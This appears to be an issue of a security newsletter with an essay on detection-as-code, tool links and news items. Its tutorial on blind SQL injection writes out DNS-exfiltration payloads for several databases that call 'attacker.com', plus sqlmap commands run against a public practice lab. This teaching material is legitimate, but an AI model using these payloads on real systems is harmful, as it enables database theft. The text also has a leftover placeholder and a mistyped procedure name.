Detection-as-Code
D

SecPro #25: Detection-as-Code: Time for a change in perspective; Blind SQLi Attacks

  • Detection-as-Code: Time for a change in perspective
  • Weaponizing Blind SQL Injection using DNS
  • Raisin Bran: Useful, Everyday “How-tos”
  • Recent Security Issues
  • Secret Knowledge: Building Your Security Arsenal

Threat Detection

Detection-as-Code: Time for a change in perspective
By Austin Miller

Detection-as-Code: Sometimes, the greatest changes in the world of technology aren’t the software. Now and then, IT professionals need to change their philosophy to make the most of the technology that they already have. For security professionals, that change is detection-as-code.

Detection-as-code is that culture change for security researchers; implementing code that strengthens the weaknesses of manual threat detection allows security analysts to innovate the work of security in the same way that DevOps changed the world of development. But how do we implement it effectively?

What is Detection-as-Code?

Detection-as-code (DaC) is probably the best example of something that we’ve been able to do for a long time, but we are still waiting for system-wide adoption. Think about it, what precisely is Detection-as-Code? Many security analysts are overly cautious about the use of Detection-as-Codebecause previous “as code” revolutions in security have previously been met with difficulties.

Detection-as-Code is creating code to model and deploy effective security strategies. The approach has 5 key components:

  • Detection content versioning. Finding threats and reacting to them properly depends on the situations you find them in. Revising your Detection-as-Code systems allows you to identify exactly what the situations were when the adversary managed to penetrate the system. This allows for a more specific response to the threats that lurk around our networks, always including the specific flaws that were in the system at the time in particular.
  • Revisions of detection code or Test Driven Development (TTD) is key to understanding the Detection-as-Code ethos. Reacting to metrics and fixing broken code helps security professionals to build better automated responses to specific threats. Constantly revising the code makes automated responses more effective and allows for less manual interaction with potential threats.
  • A modular approach to detection code. Taking the code that works and applying it to new situations creates a powerful and time-efficient use of automatic content that can be applied across the entire security landscape as needed.
  • Cross-tool detection content. Not everyone is using the same tools and no one is only using one tool. Using DaC allows you to take data from an EDR, an NDR, and a SIEM and bring all of your information together. When trying to correlate hashes, this tool can be incredibly powerful.
  • Eventually implementing a full CI/CD pipeline for Detection-as-Code is the main goal. This creates a culture of constant revisions, constant improvements, and constantly automated responses which make a difference in the pipeline, much like a software developer would. These modern techniques are key to turning security from a discipline that is half-manual, half-automated into something powerful, fully-automated, and truly of the 21st century.

Although these may not seem like radical notions for many people working in other fields, this is an idea that has struggled to take off in the world of security. Is it time people woke up and started to implement more modern techniques in their workflow?

Threat Detection like DevOps – Detection-as-Code

The “as-code” in DaC is a nod to the increasingly common Infrastructure-as-Code (IaC) and Configuration-as-Code (CaC), creating security threat detection [SOMETHING] in the same way that machine-readable definition files and descriptive models supported the other “as-code” solutions.

As you can see above, the full CI/CD implementation in the security pipeline is the end goal. Constantly analyzing, evaluating, and improving the security posture and developing new techniques that will reduce manual interaction with security tools is key to creating a more modern culture in the world of security.

How can I implement these changes?

Adopting DaC is like adopting DevOps – it’s a cultural thing, not a software change. Looking at the tools you use and how you can mix them together, create stronger links between your data, and create a more automated way of working is key to developing DaC in your organization.

If you aren’t using a unified language for your detection tools, why not? If you’re not mixing data from various tools to empower your observations, why not? If you’re not constantly refining your approach to threat detection, why not?

Why should security teams work like DevOps?

The truth is that security operations need a kick in the right direction. Security teams need to modify their approach to threat detection and detection engineering in particular – why has it taken so long for security professionals to implement similar philosophies to those we see in data mining or software development?

These modern techniques are important for refining our approach to IT security and creating a culture that can stand toe-to-toe with the modern adversary. An organization’s security is only as powerful as the context it is in and how it applies tools to that context – can you think of a better way to implement context-specific content and tools than through constant revision and automation?

Tutorial

Weaponizing Blind SQL Injection using DNS

By Karl Gilbert

Blind SQL Injection is an inferential way of exfiltrating data from a database server and usually takes longer for an attacker to exploit. In a Blind SQLi attack, no data is actually sent via the web application and the attacker is not able to see the result of an attack on the page. Instead, an attacker can exfiltrate data from the server by sending payloads and observing the web application’s response. There are two types of Blind SQLi attacks:

1- Boolean-based (content-based) Blind SQLi
Boolean-based SQL Injection is a technique that relies on sending a SQL query to the application which makes the application return a different response depending on whether the query returns a TRUE or FALSE result. Depending on the result, the HTTP response will change. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned.

2- Time-based Blind SQLi
This technique relies on sending an SQL query to the server which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. Depending on the result, the HTTP response will be returned with a delay or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned.

DNS nameservers
Authoritative servers hold a copy of the regional DNS records that match IP addresses with domain names. These are called authoritative DNS servers. Authoritative DNS nameservers are responsible for providing answers to recursive DNS nameservers about where specific websites can be found. These answers contain important information for each domain, like IP addresses. An authoritative DNS server performs two important tasks:

  1. Store lists of domain names and their associated IP addresses.
  2. Respond to requests from a recursive DNS server for the correct IP address assigned to a domain name.

How to Weaponize DNS in Blind SQLi Attacks

The issue with Blind SQL Injections is the data retrieval times. Since the data is retrieved, there is no single universal method defined in standard SQL which performs those queries. Let’s examine this with some of the popular DBMSes:

MSSQL: We can use master.do.xp_dirtree functionality to perform DNS queries. The main purpose of that operation is to get files under a directory but it also allows remote directory access. The syntax looks like this:

DECLARE @data varchar(1024);
SELECT @data = (SELECT foo FROM bar);
EXEC(‘master..xp_dirtree “\’+@data+’.attacker.comfoo$”‘);

We can also use functions like, xp_fileexists and xp_subdirs if anything is wrong with other methods; they are syntactically the same.

Oracle: There are UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB and DBMS_LDAP.INIT – each of these functions perform name resolution and one of the examples use case is:

SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||’.attacker.com’,80) FROM DUAL;
MySQL: LOAD_FILE can be used to resolve a domain name;
SELECT LOAD_FILE(CONCAT(‘\\’, (SELECT foo FROM bar), ‘.attacker.com’));

PostgreSQL: We can use the COPY function here. It basically reads a file and copies its contents into a table. The syntax looks like this:

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (SELECT foo FROM bar);
exec_cmd := E’COPY table_output(content) FROM
E’\\\\’||query_result||E’.attacker.com\\foobar.txt”;
EXECUTE exec_cmd;
END; $$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

The following workflow demonstrates the entire exfiltration process via DNS calls to the attacker nameserver:

Hands-On Lab

Now let’s try to fetch all database names from an MsSQL backend DBMS. Our SQLMap command will look like this:

sqlmap -u ‘https://redtiger.labs.overthewire.org/level1.php?cat=1’ –dbs –technique T –level 5 –risk 3

There is only one database with a name length of 6 characters. Even though the network was fast (with only 2 seconds of response delay) it took 2 minutes to exfiltrate all of these 6 characters. Now let’s try again with DNS exfiltration method; we control the sql.kirit.xyz domain so all requests to its subdomains come to our machine, which is the necessary condition for our attack to work. The command looks like this:

sqlmap -u ‘https://redtiger.labs.overthewire.org/level1.php?cat=1’ -p uid –dbs –technique T –dbms mssql –level 5 –risk 3 –dns-domain sql.kirit.xyz

We received all the information, 6 characters + 1 (# of databases) in just 10 seconds, whereas it took more than 2 minutes (120 seconds) without DNS exfiltration method. We gained almost 12x speedup with the help of DNS exfiltration. While these injections are performed, we can look at the incoming DNS queries using tcpdump:

tcpdump -i eth0 -s 0 -A -vvv ‘udp and dst port 53’

This directs tcpdump to record all of the traffic coming to port 53/udp. The output looks like this for the attack performed above:

As we can see, SQLMap puts the query response between two random strings and appends our domain name to it to perform a DNS request. Afterward, with the help of those random strings, it can understand which request is in response to a specific query and generate the result accordingly.

Mitigation

One of the obvious prevention methods is to disable all connections to udp port 53 (dns port) but it is not a wise choice since the system would no longer be able to query any domain names. The solution is to analyze all outgoing traffic on port 53 and disable aggressive users. This way we can define a threshold and if a user tries to perform any additional queries than expected in a given time window, we generate an event to disable that user.

[Disclaimer: You shouldn’t perform any type of intrusive actions on systems that you don’t own or don’t have legal permission to do so.]

Raisin Bran: Useful, Everyday “How-tos”

How to measure SOC quality

In a SOC, QA are the improvements you build into your process. It’s anything from a person asking, “Hey, can I get a peer review of this report?” to an automated check saying, “Tuning this alert will drop 250 thousand other alerts, are you sure?”. This post discusses the quality end of that equation and how to measure that in a SOC.

How to pentest the cloud: Azure

This webcast attempts to clear up some of the fogginess around cloud-based pentesting, specific to Microsoft Azure environments, including Microsoft 365. Increasingly, more organizations are migrating resources to being hosted in the cloud. With this comes a greater potential for misconfiguration if there isn’t a solid understanding of the attack surface. While there are many similarities between traditional on-premises pentesting and cloud-based pentesting, the latter is an animal of its own.

AWS SSO Tutorial with Google Workspace (Gsuite) as an IdP Step-by-Step

Detailed walkthrough by Cloud Query on how to use G Suite as an identity provider for AWS SSO. Benefits of this approach: no need to manage AWS IAM creds, 2FA is already managed by your IdP (G Suite), when users join or leave your org, you only have to make changes in one place.

Recent Security Issues

2021 CWE Most Important Hardware Weaknesses: MITRE shared the 2021 CWE the most significant hardware weaknesses by indicating the important security flaws across hardware programming, design, and architecture. These in turn can lead to vulnerabilities that can be exposed and exploited. Security experts and testers can plan their evaluations towards establishing a secured infrastructure. Below is the list:

Pink Botnet Malware: Researchers from Qihoo 360’s Netlab have released information about what they are calling the largest botnet to be discovered in the wild in the past six years. Pink, as the researchers have dubbed it, comprises more than 1.6 million infected devices, most of which are in China. Pink’s main activity is launching distributed denial-of-service (DDoS) attacks and injecting ads into websites.

FreeSWITCH Vulnerabilities: Five vulnerabilities have been detected in FreeSWITCH telecommunications stack software. The flaws include authentication issues, information leakage, and susceptibility to denial-of-service. The issues have been addressed in FreeSWITCH 1.10.7, which was released on October 25.

Secret Knowledge: Building Your Security Arsenal

Discover useful security resources, cheatsheets, hacks, and open-source CLI/web tools.

New & Trending

Ottr: A Serverless Public Key Infrastructure Framework – Airbnb engineering’s Ottr, is a serverless Public Key Infrastructure framework that handles end-to-end certificate rotations without the use of an agent.

Riot: A Scalable AWS Enumeration and Footprinting Tool – Unauthenticated enumeration and footprinting of AWS Account IDs, roles, users, services in use.

APIClarity – An open-source, cloud-native visibility tool for APIs, utilizing a Service Mesh framework to capture and analyze API traffic.

Auditing Tools

Lynis – Battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.

Rkhunter – Scanner tool for Linux systems that scans backdoors, rootkits, and local exploits on your systems.

auditd – Provides a way to track security-relevant information on your system.

DNS

DNSdumpster – DNS recon & research, find & lookup DNS records.

DNS Spy – Monitor, validate, and verify your DNS configurations.

dnslookup (ceipam) – One of the best DNS propagation checker.

The SecPro is a weekly security newsletter to help you stay sharp and upgrade your skills with trending threat insights, practical tutorials, hands-on labs, and useful resources. Build skills in as little as 10 minutes.

Stay up to date with the latest threats

Our newsletter is packed with analysis of trending threats and attacks, practical tutorials, hands-on labs, and actionable content. No spam. No jibber jabber.